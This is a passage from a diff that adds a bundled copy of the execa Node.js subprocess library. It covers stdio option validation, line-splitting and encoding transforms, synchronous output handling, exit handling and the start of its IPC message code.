getOtherStdioItems(fileDescriptors, type); + if (otherStdioItems.length === 0) { + return; + } + if (isSync) { + validateDuplicateStreamSync({ + otherStdioItems, + type, + value, + optionName, + direction, + }); + return; + } + if (SPECIAL_DUPLICATE_TYPES.has(type)) { + return getDuplicateStreamInstance({ + otherStdioItems, + type, + value, + optionName, + direction, + }); + } + if (FORBID_DUPLICATE_TYPES.has(type)) { + validateDuplicateTransform({ + otherStdioItems, + type, + value, + optionName, + }); + } +}; +var getOtherStdioItems = (fileDescriptors, type) => + fileDescriptors.flatMap(({ direction, stdioItems }) => + stdioItems + .filter((stdioItem) => stdioItem.type === type) + .map((stdioItem) => ({ ...stdioItem, direction })), + ); +var validateDuplicateStreamSync = ({ + otherStdioItems, + type, + value, + optionName, + direction, +}) => { + if (SPECIAL_DUPLICATE_TYPES_SYNC.has(type)) { + getDuplicateStreamInstance({ + otherStdioItems, + type, + value, + optionName, + direction, + }); + } +}; +var getDuplicateStreamInstance = ({ + otherStdioItems, + type, + value, + optionName, + direction, +}) => { + const duplicateStdioItems = otherStdioItems.filter((stdioItem) => + hasSameValue(stdioItem, value), + ); + if (duplicateStdioItems.length === 0) { + return; + } + const differentStdioItem = duplicateStdioItems.find( + (stdioItem) => stdioItem.direction !== direction, + ); + throwOnDuplicateStream(differentStdioItem, optionName, type); + return direction === "output" ? duplicateStdioItems[0].stream : void 0; +}; +var hasSameValue = ({ type, value }, secondValue) => { + if (type === "filePath") { + return value.file === secondValue.file; + } + if (type === "fileUrl") { + return value.href === secondValue.href; + } + return value === secondValue; +}; +var validateDuplicateTransform = ({ + otherStdioItems, + type, + value, + optionName, +}) => { + const duplicateStdioItem = otherStdioItems.find( + ({ value: { transform } }) => transform === value.transform, + ); + throwOnDuplicateStream(duplicateStdioItem, optionName, type); +}; +var throwOnDuplicateStream = (stdioItem, optionName, type) => { + if (stdioItem !== void 0) { + throw new TypeError( + `The \`${stdioItem.optionName}\` and \`${optionName}\` options must not target ${TYPE_TO_MESSAGE[type]} that is the same.`, + ); + } +}; + +// node_modules/execa/lib/stdio/handle.js +var handleStdio = (addProperties3, options, verboseInfo, isSync) => { + const stdio = normalizeStdioOption(options, verboseInfo, isSync); + const initialFileDescriptors = stdio.map((stdioOption, fdNumber) => + getFileDescriptor({ + stdioOption, + fdNumber, + options, + isSync, + }), + ); + const fileDescriptors = getFinalFileDescriptors({ + initialFileDescriptors, + addProperties: addProperties3, + options, + isSync, + }); + options.stdio = fileDescriptors.map(({ stdioItems }) => + forwardStdio(stdioItems), + ); + return fileDescriptors; +}; +var getFileDescriptor = ({ stdioOption, fdNumber, options, isSync }) => { + const optionName = getStreamName(fdNumber); + const { stdioItems: initialStdioItems, isStdioArray } = initializeStdioItems({ + stdioOption, + fdNumber, + options, + optionName, + }); + const direction = getStreamDirection(initialStdioItems, fdNumber, optionName); + const stdioItems = initialStdioItems.map((stdioItem) => + handleNativeStream({ + stdioItem, + isStdioArray, + fdNumber, + direction, + isSync, + }), + ); + const normalizedStdioItems = normalizeTransforms( + stdioItems, + optionName, + direction, + options, + ); + const objectMode = getFdObjectMode(normalizedStdioItems, direction); + validateFileObjectMode(normalizedStdioItems, objectMode); + return { direction, objectMode, stdioItems: normalizedStdioItems }; +}; +var initializeStdioItems = ({ stdioOption, fdNumber, options, optionName }) => { + const values = Array.isArray(stdioOption) ? stdioOption : [stdioOption]; + const initialStdioItems = [ + ...values.map((value) => initializeStdioItem(value, optionName)), + ...handleInputOptions(options, fdNumber), + ]; + const stdioItems = filterDuplicates(initialStdioItems); + const isStdioArray = stdioItems.length > 1; + validateStdioArray(stdioItems, isStdioArray, optionName); + validateStreams(stdioItems); + return { stdioItems, isStdioArray }; +}; +var initializeStdioItem = (value, optionName) => ({ + type: getStdioItemType(value, optionName), + value, + optionName, +}); +var validateStdioArray = (stdioItems, isStdioArray, optionName) => { + if (stdioItems.length === 0) { + throw new TypeError( + `The \`${optionName}\` option must not be an empty array.`, + ); + } + if (!isStdioArray) { + return; + } + for (const { value, optionName: optionName2 } of stdioItems) { + if (INVALID_STDIO_ARRAY_OPTIONS.has(value)) { + throw new Error( + `The \`${optionName2}\` option must not include \`${value}\`.`, + ); + } + } +}; +var INVALID_STDIO_ARRAY_OPTIONS = /* @__PURE__ */ new Set(["ignore", "ipc"]); +var validateStreams = (stdioItems) => { + for (const stdioItem of stdioItems) { + validateFileStdio(stdioItem); + } +}; +var validateFileStdio = ({ type, value, optionName }) => { + if (isRegularUrl(value)) { + throw new TypeError(`The \`${optionName}: URL\` option must use the \`file:\` scheme. +For example, you can use the \`pathToFileURL()\` method of the \`url\` core module.`); + } + if (isUnknownStdioString(type, value)) { + throw new TypeError( + `The \`${optionName}: { file: '...' }\` option must be used instead of \`${optionName}: '...'\`.`, + ); + } +}; +var validateFileObjectMode = (stdioItems, objectMode) => { + if (!objectMode) { + return; + } + const fileStdioItem = stdioItems.find(({ type }) => FILE_TYPES.has(type)); + if (fileStdioItem !== void 0) { + throw new TypeError( + `The \`${fileStdioItem.optionName}\` option cannot use both files and transforms in objectMode.`, + ); + } +}; +var getFinalFileDescriptors = ({ + initialFileDescriptors, + addProperties: addProperties3, + options, + isSync, +}) => { + const fileDescriptors = []; + try { + for (const fileDescriptor of initialFileDescriptors) { + fileDescriptors.push( + getFinalFileDescriptor({ + fileDescriptor, + fileDescriptors, + addProperties: addProperties3, + options, + isSync, + }), + ); + } + return fileDescriptors; + } catch (error) { + cleanupCustomStreams(fileDescriptors); + throw error; + } +}; +var getFinalFileDescriptor = ({ + fileDescriptor: { direction, objectMode, stdioItems }, + fileDescriptors, + addProperties: addProperties3, + options, + isSync, +}) => { + const finalStdioItems = stdioItems.map((stdioItem) => + addStreamProperties({ + stdioItem, + addProperties: addProperties3, + direction, + options, + fileDescriptors, + isSync, + }), + ); + return { direction, objectMode, stdioItems: finalStdioItems }; +}; +var addStreamProperties = ({ + stdioItem, + addProperties: addProperties3, + direction, + options, + fileDescriptors, + isSync, +}) => { + const duplicateStream = getDuplicateStream({ + stdioItem, + direction, + fileDescriptors, + isSync, + }); + if (duplicateStream !== void 0) { + return { ...stdioItem, stream: duplicateStream }; + } + return { + ...stdioItem, + ...addProperties3[direction][stdioItem.type](stdioItem, options), + }; +}; +var cleanupCustomStreams = (fileDescriptors) => { + for (const { stdioItems } of fileDescriptors) { + for (const { stream } of stdioItems) { + if (stream !== void 0 && !isStandardStream(stream)) { + stream.destroy(); + } + } + } +}; +var forwardStdio = (stdioItems) => { + if (stdioItems.length > 1) { + return stdioItems.some(({ value: value2 }) => value2 === "overlapped") + ? "overlapped" + : "pipe"; + } + const [{ type, value }] = stdioItems; + return type === "native" ? value : "pipe"; +}; + +// node_modules/execa/lib/stdio/handle-sync.js +var handleStdioSync = (options, verboseInfo) => + handleStdio(addPropertiesSync, options, verboseInfo, true); +var forbiddenIfSync = ({ type, optionName }) => { + throwInvalidSyncValue(optionName, TYPE_TO_MESSAGE[type]); +}; +var forbiddenNativeIfSync = ({ optionName, value }) => { + if (value === "ipc" || value === "overlapped") { + throwInvalidSyncValue(optionName, `"${value}"`); + } + return {}; +}; +var throwInvalidSyncValue = (optionName, value) => { + throw new TypeError( + `The \`${optionName}\` option cannot be ${value} with synchronous methods.`, + ); +}; +var addProperties = { + generator() {}, + asyncGenerator: forbiddenIfSync, + webStream: forbiddenIfSync, + nodeStream: forbiddenIfSync, + webTransform: forbiddenIfSync, + duplex: forbiddenIfSync, + asyncIterable: forbiddenIfSync, + native: forbiddenNativeIfSync, +}; +var addPropertiesSync = { + input: { + ...addProperties, + fileUrl: ({ value }) => ({ + contents: [bufferToUint8Array(readFileSync2(value))], + }), + filePath: ({ value: { file } }) => ({ + contents: [bufferToUint8Array(readFileSync2(file))], + }), + fileNumber: forbiddenIfSync, + iterable: ({ value }) => ({ contents: [...value] }), + string: ({ value }) => ({ contents: [value] }), + uint8Array: ({ value }) => ({ contents: [value] }), + }, + output: { + ...addProperties, + fileUrl: ({ value }) => ({ path: value }), + filePath: ({ value: { file, append } }) => ({ path: file, append }), + fileNumber: ({ value }) => ({ path: value }), + iterable: forbiddenIfSync, + string: forbiddenIfSync, + uint8Array: forbiddenIfSync, + }, +}; + +// node_modules/execa/lib/io/strip-newline.js +var stripNewline = ( + value, + { stripFinalNewline: stripFinalNewline2 }, + fdNumber, +) => + getStripFinalNewline(stripFinalNewline2, fdNumber) && + value !== void 0 && + !Array.isArray(value) + ? stripFinalNewline(value) + : value; +var getStripFinalNewline = (stripFinalNewline2, fdNumber) => + fdNumber === "all" + ? stripFinalNewline2[1] || stripFinalNewline2[2] + : stripFinalNewline2[fdNumber]; + +// node_modules/execa/lib/transform/generator.js +import { Transform, getDefaultHighWaterMark } from "node:stream"; + +// node_modules/execa/lib/transform/split.js +var getSplitLinesGenerator = (binary, preserveNewlines, skipped, state) => + binary || skipped ? void 0 : initializeSplitLines(preserveNewlines, state); +var splitLinesSync = (chunk, preserveNewlines, objectMode) => + objectMode + ? chunk.flatMap((item) => splitLinesItemSync(item, preserveNewlines)) + : splitLinesItemSync(chunk, preserveNewlines); +var splitLinesItemSync = (chunk, preserveNewlines) => { + const { transform, final } = initializeSplitLines(preserveNewlines, {}); + return [...transform(chunk), ...final()]; +}; +var initializeSplitLines = (preserveNewlines, state) => { + state.previousChunks = ""; + return { + transform: splitGenerator.bind(void 0, state, preserveNewlines), + final: linesFinal.bind(void 0, state), + }; +}; +var splitGenerator = function* (state, preserveNewlines, chunk) { + if (typeof chunk !== "string") { + yield chunk; + return; + } + let { previousChunks } = state; + let start = -1; + for (let end = 0; end < chunk.length; end += 1) { + if (chunk[end] === "\n") { + const newlineLength = getNewlineLength( + chunk, + end, + preserveNewlines, + state, + ); + let line = chunk.slice(start + 1, end + 1 - newlineLength); + if (previousChunks.length > 0) { + line = concatString(previousChunks, line); + previousChunks = ""; + } + yield line; + start = end; + } + } + if (start !== chunk.length - 1) { + previousChunks = concatString(previousChunks, chunk.slice(start + 1)); + } + state.previousChunks = previousChunks; +}; +var getNewlineLength = (chunk, end, preserveNewlines, state) => { + if (preserveNewlines) { + return 0; + } + state.isWindowsNewline = end !== 0 && chunk[end - 1] === "\r"; + return state.isWindowsNewline ? 2 : 1; +}; +var linesFinal = function* ({ previousChunks }) { + if (previousChunks.length > 0) { + yield previousChunks; + } +}; +var getAppendNewlineGenerator = ({ + binary, + preserveNewlines, + readableObjectMode, + state, +}) => + binary || preserveNewlines || readableObjectMode + ? void 0 + : { transform: appendNewlineGenerator.bind(void 0, state) }; +var appendNewlineGenerator = function* ({ isWindowsNewline = false }, chunk) { + const { + unixNewline, + windowsNewline, + LF: LF2, + concatBytes, + } = typeof chunk === "string" ? linesStringInfo : linesUint8ArrayInfo; + if (chunk.at(-1) === LF2) { + yield chunk; + return; + } + const newline = isWindowsNewline ? windowsNewline : unixNewline; + yield concatBytes(chunk, newline); +}; +var concatString = (firstChunk, secondChunk) => `${firstChunk}${secondChunk}`; +var linesStringInfo = { + windowsNewline: "\r\n", + unixNewline: "\n", + LF: "\n", + concatBytes: concatString, +}; +var concatUint8Array = (firstChunk, secondChunk) => { + const chunk = new Uint8Array(firstChunk.length + secondChunk.length); + chunk.set(firstChunk, 0); + chunk.set(secondChunk, firstChunk.length); + return chunk; +}; +var linesUint8ArrayInfo = { + windowsNewline: new Uint8Array([13, 10]), + unixNewline: new Uint8Array([10]), + LF: 10, + concatBytes: concatUint8Array, +}; + +// node_modules/execa/lib/transform/validate.js +import { Buffer as Buffer2 } from "node:buffer"; +var getValidateTransformInput = (writableObjectMode, optionName) => + writableObjectMode + ? void 0 + : validateStringTransformInput.bind(void 0, optionName); +var validateStringTransformInput = function* (optionName, chunk) { + if ( + typeof chunk !== "string" && + !isUint8Array(chunk) && + !Buffer2.isBuffer(chunk) + ) { + throw new TypeError( + `The \`${optionName}\` option's transform must use "objectMode: true" to receive as input: ${typeof chunk}.`, + ); + } + yield chunk; +}; +var getValidateTransformReturn = (readableObjectMode, optionName) => + readableObjectMode + ? validateObjectTransformReturn.bind(void 0, optionName) + : validateStringTransformReturn.bind(void 0, optionName); +var validateObjectTransformReturn = function* (optionName, chunk) { + validateEmptyReturn(optionName, chunk); + yield chunk; +}; +var validateStringTransformReturn = function* (optionName, chunk) { + validateEmptyReturn(optionName, chunk); + if (typeof chunk !== "string" && !isUint8Array(chunk)) { + throw new TypeError( + `The \`${optionName}\` option's function must yield a string or an Uint8Array, not ${typeof chunk}.`, + ); + } + yield chunk; +}; +var validateEmptyReturn = (optionName, chunk) => { + if (chunk === null || chunk === void 0) { + throw new TypeError(`The \`${optionName}\` option's function must not call \`yield ${chunk}\`. +Instead, \`yield\` should either be called with a value, or not be called at all. For example: + if (condition) { yield value; }`); + } +}; + +// node_modules/execa/lib/transform/encoding-transform.js +import { Buffer as Buffer3 } from "node:buffer"; +import { StringDecoder as StringDecoder2 } from "node:string_decoder"; +var getEncodingTransformGenerator = (binary, encoding, skipped) => { + if (skipped) { + return; + } + if (binary) { + return { + transform: encodingUint8ArrayGenerator.bind(void 0, new TextEncoder()), + }; + } + const stringDecoder = new StringDecoder2(encoding); + return { + transform: encodingStringGenerator.bind(void 0, stringDecoder), + final: encodingStringFinal.bind(void 0, stringDecoder), + }; +}; +var encodingUint8ArrayGenerator = function* (textEncoder3, chunk) { + if (Buffer3.isBuffer(chunk)) { + yield bufferToUint8Array(chunk); + } else if (typeof chunk === "string") { + yield textEncoder3.encode(chunk); + } else { + yield chunk; + } +}; +var encodingStringGenerator = function* (stringDecoder, chunk) { + yield isUint8Array(chunk) ? stringDecoder.write(chunk) : chunk; +}; +var encodingStringFinal = function* (stringDecoder) { + const lastChunk = stringDecoder.end(); + if (lastChunk !== "") { + yield lastChunk; + } +}; + +// node_modules/execa/lib/transform/run-async.js +import { callbackify } from "node:util"; +var pushChunks = callbackify( + async (getChunks, state, getChunksArguments, transformStream) => { + state.currentIterable = getChunks(...getChunksArguments); + try { + for await (const chunk of state.currentIterable) { + transformStream.push(chunk); + } + } finally { + delete state.currentIterable; + } + }, +); +var transformChunk = async function* (chunk, generators, index) { + if (index === generators.length) { + yield chunk; + return; + } + const { transform = identityGenerator } = generators[index]; + for await (const transformedChunk of transform(chunk)) { + yield* transformChunk(transformedChunk, generators, index + 1); + } +}; +var finalChunks = async function* (generators) { + for (const [index, { final }] of Object.entries(generators)) { + yield* generatorFinalChunks(final, Number(index), generators); + } +}; +var generatorFinalChunks = async function* (final, index, generators) { + if (final === void 0) { + return; + } + for await (const finalChunk of final()) { + yield* transformChunk(finalChunk, generators, index + 1); + } +}; +var destroyTransform = callbackify(async ({ currentIterable }, error) => { + if (currentIterable !== void 0) { + await (error ? currentIterable.throw(error) : currentIterable.return()); + return; + } + if (error) { + throw error; + } +}); +var identityGenerator = function* (chunk) { + yield chunk; +}; + +// node_modules/execa/lib/transform/run-sync.js +var pushChunksSync = ( + getChunksSync, + getChunksArguments, + transformStream, + done, +) => { + try { + for (const chunk of getChunksSync(...getChunksArguments)) { + transformStream.push(chunk); + } + done(); + } catch (error) { + done(error); + } +}; +var runTransformSync = (generators, chunks) => [ + ...chunks.flatMap((chunk) => [...transformChunkSync(chunk, generators, 0)]), + ...finalChunksSync(generators), +]; +var transformChunkSync = function* (chunk, generators, index) { + if (index === generators.length) { + yield chunk; + return; + } + const { transform = identityGenerator2 } = generators[index]; + for (const transformedChunk of transform(chunk)) { + yield* transformChunkSync(transformedChunk, generators, index + 1); + } +}; +var finalChunksSync = function* (generators) { + for (const [index, { final }] of Object.entries(generators)) { + yield* generatorFinalChunksSync(final, Number(index), generators); + } +}; +var generatorFinalChunksSync = function* (final, index, generators) { + if (final === void 0) { + return; + } + for (const finalChunk of final()) { + yield* transformChunkSync(finalChunk, generators, index + 1); + } +}; +var identityGenerator2 = function* (chunk) { + yield chunk; +}; + +// node_modules/execa/lib/transform/generator.js +var generatorToStream = ( + { + value, + value: { transform, final, writableObjectMode, readableObjectMode }, + optionName, + }, + { encoding }, +) => { + const state = {}; + const generators = addInternalGenerators(value, encoding, optionName); + const transformAsync = isAsyncGenerator(transform); + const finalAsync = isAsyncGenerator(final); + const transformMethod = transformAsync + ? pushChunks.bind(void 0, transformChunk, state) + : pushChunksSync.bind(void 0, transformChunkSync); + const finalMethod = + transformAsync || finalAsync + ? pushChunks.bind(void 0, finalChunks, state) + : pushChunksSync.bind(void 0, finalChunksSync); + const destroyMethod = + transformAsync || finalAsync + ? destroyTransform.bind(void 0, state) + : void 0; + const stream = new Transform({ + writableObjectMode, + writableHighWaterMark: getDefaultHighWaterMark(writableObjectMode), + readableObjectMode, + readableHighWaterMark: getDefaultHighWaterMark(readableObjectMode), + transform(chunk, encoding2, done) { + transformMethod([chunk, generators, 0], this, done); + }, + flush(done) { + finalMethod([generators], this, done); + }, + destroy: destroyMethod, + }); + return { stream }; +}; +var runGeneratorsSync = (chunks, stdioItems, encoding, isInput) => { + const generators = stdioItems.filter(({ type }) => type === "generator"); + const reversedGenerators = isInput ? generators.reverse() : generators; + for (const { value, optionName } of reversedGenerators) { + const generators2 = addInternalGenerators(value, encoding, optionName); + chunks = runTransformSync(generators2, chunks); + } + return chunks; +}; +var addInternalGenerators = ( + { + transform, + final, + binary, + writableObjectMode, + readableObjectMode, + preserveNewlines, + }, + encoding, + optionName, +) => { + const state = {}; + return [ + { transform: getValidateTransformInput(writableObjectMode, optionName) }, + getEncodingTransformGenerator(binary, encoding, writableObjectMode), + getSplitLinesGenerator(binary, preserveNewlines, writableObjectMode, state), + { transform, final }, + { transform: getValidateTransformReturn(readableObjectMode, optionName) }, + getAppendNewlineGenerator({ + binary, + preserveNewlines, + readableObjectMode, + state, + }), + ].filter(Boolean); +}; + +// node_modules/execa/lib/io/input-sync.js +var addInputOptionsSync = (fileDescriptors, options) => { + for (const fdNumber of getInputFdNumbers(fileDescriptors)) { + addInputOptionSync(fileDescriptors, fdNumber, options); + } +}; +var getInputFdNumbers = (fileDescriptors) => + new Set( + Object.entries(fileDescriptors) + .filter(([, { direction }]) => direction === "input") + .map(([fdNumber]) => Number(fdNumber)), + ); +var addInputOptionSync = (fileDescriptors, fdNumber, options) => { + const { stdioItems } = fileDescriptors[fdNumber]; + const allStdioItems = stdioItems.filter( + ({ contents }) => contents !== void 0, + ); + if (allStdioItems.length === 0) { + return; + } + if (fdNumber !== 0) { + const [{ type, optionName }] = allStdioItems; + throw new TypeError( + `Only the \`stdin\` option, not \`${optionName}\`, can be ${TYPE_TO_MESSAGE[type]} with synchronous methods.`, + ); + } + const allContents = allStdioItems.map(({ contents }) => contents); + const transformedContents = allContents.map((contents) => + applySingleInputGeneratorsSync(contents, stdioItems), + ); + options.input = joinToUint8Array(transformedContents); +}; +var applySingleInputGeneratorsSync = (contents, stdioItems) => { + const newContents = runGeneratorsSync(contents, stdioItems, "utf8", true); + validateSerializable(newContents); + return joinToUint8Array(newContents); +}; +var validateSerializable = (newContents) => { + const invalidItem = newContents.find( + (item) => typeof item !== "string" && !isUint8Array(item), + ); + if (invalidItem !== void 0) { + throw new TypeError( + `The \`stdin\` option is invalid: when passing objects as input, a transform must be used to serialize them to strings or Uint8Arrays: ${invalidItem}.`, + ); + } +}; + +// node_modules/execa/lib/io/output-sync.js +import { writeFileSync, appendFileSync } from "node:fs"; + +// node_modules/execa/lib/verbose/output.js +var shouldLogOutput = ({ stdioItems, encoding, verboseInfo, fdNumber }) => + fdNumber !== "all" && + isFullVerbose(verboseInfo, fdNumber) && + !BINARY_ENCODINGS.has(encoding) && + fdUsesVerbose(fdNumber) && + (stdioItems.some( + ({ type, value }) => type === "native" && PIPED_STDIO_VALUES.has(value), + ) || + stdioItems.every(({ type }) => TRANSFORM_TYPES.has(type))); +var fdUsesVerbose = (fdNumber) => fdNumber === 1 || fdNumber === 2; +var PIPED_STDIO_VALUES = /* @__PURE__ */ new Set(["pipe", "overlapped"]); +var logLines = async (linesIterable, stream, fdNumber, verboseInfo) => { + for await (const line of linesIterable) { + if (!isPipingStream(stream)) { + logLine(line, fdNumber, verboseInfo); + } + } +}; +var logLinesSync = (linesArray, fdNumber, verboseInfo) => { + for (const line of linesArray) { + logLine(line, fdNumber, verboseInfo); + } +}; +var isPipingStream = (stream) => stream._readableState.pipes.length > 0; +var logLine = (line, fdNumber, verboseInfo) => { + const verboseMessage = serializeVerboseMessage(line); + verboseLog({ + type: "output", + verboseMessage, + fdNumber, + verboseInfo, + }); +}; + +// node_modules/execa/lib/io/output-sync.js +var transformOutputSync = ({ + fileDescriptors, + syncResult: { output }, + options, + isMaxBuffer, + verboseInfo, +}) => { + if (output === null) { + return { output: Array.from({ length: 3 }) }; + } + const state = {}; + const outputFiles = /* @__PURE__ */ new Set([]); + const transformedOutput = output.map((result, fdNumber) => + transformOutputResultSync( + { + result, + fileDescriptors, + fdNumber, + state, + outputFiles, + isMaxBuffer, + verboseInfo, + }, + options, + ), + ); + return { output: transformedOutput, ...state }; +}; +var transformOutputResultSync = ( + { + result, + fileDescriptors, + fdNumber, + state, + outputFiles, + isMaxBuffer, + verboseInfo, + }, + { buffer, encoding, lines, stripFinalNewline: stripFinalNewline2, maxBuffer }, +) => { + if (result === null) { + return; + } + const truncatedResult = truncateMaxBufferSync(result, isMaxBuffer, maxBuffer); + const uint8ArrayResult = bufferToUint8Array(truncatedResult); + const { stdioItems, objectMode } = fileDescriptors[fdNumber]; + const chunks = runOutputGeneratorsSync( + [uint8ArrayResult], + stdioItems, + encoding, + state, + ); + const { serializedResult, finalResult = serializedResult } = serializeChunks({ + chunks, + objectMode, + encoding, + lines, + stripFinalNewline: stripFinalNewline2, + fdNumber, + }); + logOutputSync({ + serializedResult, + fdNumber, + state, + verboseInfo, + encoding, + stdioItems, + objectMode, + }); + const returnedResult = buffer[fdNumber] ? finalResult : void 0; + try { + if (state.error === void 0) { + writeToFiles(serializedResult, stdioItems, outputFiles); + } + return returnedResult; + } catch (error) { + state.error = error; + return returnedResult; + } +}; +var runOutputGeneratorsSync = (chunks, stdioItems, encoding, state) => { + try { + return runGeneratorsSync(chunks, stdioItems, encoding, false); + } catch (error) { + state.error = error; + return chunks; + } +}; +var serializeChunks = ({ + chunks, + objectMode, + encoding, + lines, + stripFinalNewline: stripFinalNewline2, + fdNumber, +}) => { + if (objectMode) { + return { serializedResult: chunks }; + } + if (encoding === "buffer") { + return { serializedResult: joinToUint8Array(chunks) }; + } + const serializedResult = joinToString(chunks, encoding); + if (lines[fdNumber]) { + return { + serializedResult, + finalResult: splitLinesSync( + serializedResult, + !stripFinalNewline2[fdNumber], + objectMode, + ), + }; + } + return { serializedResult }; +}; +var logOutputSync = ({ + serializedResult, + fdNumber, + state, + verboseInfo, + encoding, + stdioItems, + objectMode, +}) => { + if ( + !shouldLogOutput({ + stdioItems, + encoding, + verboseInfo, + fdNumber, + }) + ) { + return; + } + const linesArray = splitLinesSync(serializedResult, false, objectMode); + try { + logLinesSync(linesArray, fdNumber, verboseInfo); + } catch (error) { + state.error ??= error; + } +}; +var writeToFiles = (serializedResult, stdioItems, outputFiles) => { + for (const { path: path12, append } of stdioItems.filter(({ type }) => + FILE_TYPES.has(type), + )) { + const pathString = typeof path12 === "string" ? path12 : path12.toString(); + if (append || outputFiles.has(pathString)) { + appendFileSync(path12, serializedResult); + } else { + outputFiles.add(pathString); + writeFileSync(path12, serializedResult); + } + } +}; + +// node_modules/execa/lib/resolve/all-sync.js +var getAllSync = ([, stdout, stderr], options) => { + if (!options.all) { + return; + } + if (stdout === void 0) { + return stderr; + } + if (stderr === void 0) { + return stdout; + } + if (Array.isArray(stdout)) { + return Array.isArray(stderr) + ? [...stdout, ...stderr] + : [...stdout, stripNewline(stderr, options, "all")]; + } + if (Array.isArray(stderr)) { + return [stripNewline(stdout, options, "all"), ...stderr]; + } + if (isUint8Array(stdout) && isUint8Array(stderr)) { + return concatUint8Arrays([stdout, stderr]); + } + return `${stdout}${stderr}`; +}; + +// node_modules/execa/lib/resolve/exit-async.js +import { once as once4 } from "node:events"; +var waitForExit = async (subprocess, context) => { + const [exitCode, signal] = await waitForExitOrError(subprocess); + context.isForcefullyTerminated ??= false; + return [exitCode, signal]; +}; +var waitForExitOrError = async (subprocess) => { + const [spawnPayload, exitPayload] = await Promise.allSettled([ + once4(subprocess, "spawn"), + once4(subprocess, "exit"), + ]); + if (spawnPayload.status === "rejected") { + return []; + } + return exitPayload.status === "rejected" + ? waitForSubprocessExit(subprocess) + : exitPayload.value; +}; +var waitForSubprocessExit = async (subprocess) => { + try { + return await once4(subprocess, "exit"); + } catch { + return waitForSubprocessExit(subprocess); + } +}; +var waitForSuccessfulExit = async (exitPromise) => { + const [exitCode, signal] = await exitPromise; + if ( + !isSubprocessErrorExit(exitCode, signal) && + isFailedExit(exitCode, signal) + ) { + throw new DiscardedError(); + } + return [exitCode, signal]; +}; +var isSubprocessErrorExit = (exitCode, signal) => + exitCode === void 0 && signal === void 0; +var isFailedExit = (exitCode, signal) => exitCode !== 0 || signal !== null; + +// node_modules/execa/lib/resolve/exit-sync.js +var getExitResultSync = ( + { error, status: exitCode, signal, output }, + { maxBuffer }, +) => { + const resultError = getResultError(error, exitCode, signal); + const timedOut = resultError?.code === "ETIMEDOUT"; + const isMaxBuffer = isMaxBufferSync(resultError, output, maxBuffer); + return { + resultError, + exitCode, + signal, + timedOut, + isMaxBuffer, + }; +}; +var getResultError = (error, exitCode, signal) => { + if (error !== void 0) { + return error; + } + return isFailedExit(exitCode, signal) ? new DiscardedError() : void 0; +}; + +// node_modules/execa/lib/methods/main-sync.js +var execaCoreSync = (rawFile, rawArguments, rawOptions) => { + const { + file, + commandArguments, + command, + escapedCommand, + startTime, + verboseInfo, + options, + fileDescriptors, + } = handleSyncArguments(rawFile, rawArguments, rawOptions); + const result = spawnSubprocessSync({ + file, + commandArguments, + options, + command, + escapedCommand, + verboseInfo, + fileDescriptors, + startTime, + }); + return handleResult(result, verboseInfo, options); +}; +var handleSyncArguments = (rawFile, rawArguments, rawOptions) => { + const { command, escapedCommand, startTime, verboseInfo } = handleCommand( + rawFile, + rawArguments, + rawOptions, + ); + const syncOptions = normalizeSyncOptions(rawOptions); + const { file, commandArguments, options } = normalizeOptions( + rawFile, + rawArguments, + syncOptions, + ); + validateSyncOptions(options); + const fileDescriptors = handleStdioSync(options, verboseInfo); + return { + file, + commandArguments, + command, + escapedCommand, + startTime, + verboseInfo, + options, + fileDescriptors, + }; +}; +var normalizeSyncOptions = (options) => + options.node && !options.ipc ? { ...options, ipc: false } : options; +var validateSyncOptions = ({ ipc, ipcInput, detached, cancelSignal }) => { + if (ipcInput) { + throwInvalidSyncOption("ipcInput"); + } + if (ipc) { + throwInvalidSyncOption("ipc: true"); + } + if (detached) { + throwInvalidSyncOption("detached: true"); + } + if (cancelSignal) { + throwInvalidSyncOption("cancelSignal"); + } +}; +var throwInvalidSyncOption = (value) => { + throw new TypeError( + `The "${value}" option cannot be used with synchronous methods.`, + ); +}; +var spawnSubprocessSync = ({ + file, + commandArguments, + options, + command, + escapedCommand, + verboseInfo, + fileDescriptors, + startTime, +}) => { + const syncResult = runSubprocessSync({ + file, + commandArguments, + options, + command, + escapedCommand, + fileDescriptors, + startTime, + }); + if (syncResult.failed) { + return syncResult; + } + const { resultError, exitCode, signal, timedOut, isMaxBuffer } = + getExitResultSync(syncResult, options); + const { output, error = resultError } = transformOutputSync({ + fileDescriptors, + syncResult, + options, + isMaxBuffer, + verboseInfo, + }); + const stdio = output.map((stdioOutput, fdNumber) => + stripNewline(stdioOutput, options, fdNumber), + ); + const all = stripNewline(getAllSync(output, options), options, "all"); + return getSyncResult({ + error, + exitCode, + signal, + timedOut, + isMaxBuffer, + stdio, + all, + options, + command, + escapedCommand, + startTime, + }); +}; +var runSubprocessSync = ({ + file, + commandArguments, + options, + command, + escapedCommand, + fileDescriptors, + startTime, +}) => { + try { + addInputOptionsSync(fileDescriptors, options); + const normalizedOptions = normalizeSpawnSyncOptions(options); + return spawnSync( + ...concatenateShell(file, commandArguments, normalizedOptions), + ); + } catch (error) { + return makeEarlyError({ + error, + command, + escapedCommand, + fileDescriptors, + options, + startTime, + isSync: true, + }); + } +}; +var normalizeSpawnSyncOptions = ({ encoding, maxBuffer, ...options }) => ({ + ...options, + encoding: "buffer", + maxBuffer: getMaxBufferSync(maxBuffer), +}); +var getSyncResult = ({ + error, + exitCode, + signal, + timedOut, + isMaxBuffer, + stdio, + all, + options, + command, + escapedCommand, + startTime, +}) => + error === void 0 + ? makeSuccessResult({ + command, + escapedCommand, + stdio, + all, + ipcOutput: [], + options, + startTime, + }) + : makeError({ + error, + command, + escapedCommand, + timedOut, + isCanceled: false, + isGracefullyCanceled: false, + isMaxBuffer, + isForcefullyTerminated: false, + exitCode, + signal, + stdio, + all, + ipcOutput: [], + options, + startTime, + isSync: true, + }); + +// node_modules/execa/lib/methods/main-async.js +import { setMaxListeners } from "node:events"; +import { spawn } from "node:child_process"; + +// node_modules/execa/lib/ipc/methods.js +import process8 from "node:process"; + +// node_modules/execa/lib/ipc/get-one.js +import { once as once5, on as on2 } from "node:events"; +var getOneMessage = ( + { anyProcess, channel, isSubprocess, ipc }, + { reference = true, filter } = {}, +) => { + validateIpcMethod({ + methodName: "getOneMessage", + isSubprocess, + ipc, + isConnected: isConnected(anyProcess), + }); + return getOneMessageAsync({ + anyProcess, + channel, + isSubprocess, + filter, + reference, + }); +}; +var getOneMessageAsync = async ({ + anyProcess, + channel, + isSubprocess, + filter, + reference, +}) => { + addReference(channel, reference); + const ipcEmitter = getIpcEmitter(anyProcess, channel, isSubprocess); + const controller = new AbortController(); + try { + return await Promise.race([ + getMessage(ipcEmitter, filter, controller), + throwOnDisconnect2(ipcEmitter, isSubprocess, 